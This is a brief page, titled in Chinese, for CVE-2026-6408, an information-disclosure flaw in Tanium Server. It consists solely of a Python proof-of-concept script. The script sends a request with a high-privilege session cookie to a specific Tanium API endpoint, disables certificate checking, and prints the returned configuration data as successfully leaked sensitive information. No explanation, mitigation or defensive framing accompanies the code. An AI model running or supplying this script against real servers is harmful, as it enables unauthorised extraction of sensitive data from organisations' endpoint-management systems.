CVE-2026-6408 Tanium Server 信息泄露漏洞

import requests # CVE-2026-6408 Proof of Concept (PoC) # Description: Information Disclosure in Tanium Server # Note: Requires High Privileges (PR:H) target_host = "https://<tanium-server-ip>" vulnerable_endpoint = "/api/v2/server/status/config_detail" # High-privilege session cookie is required session_cookie = { "session_id": "<high_privilege_session_token>" } headers = { "User-Agent": "Mozilla/5.0 (compatible; PoC-Scanner/1.0)", "Accept": "application/json" } try: # Send request to the vulnerable endpoint response = requests.get( target_host + vulnerable_endpoint, headers=headers, cookies=session_cookie, verify=False # Ignore SSL certificate verification for testing ) if response.status_code == 200: print("[+] Vulnerability exploited successfully!") print("[+] Sensitive Information Disclosure:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")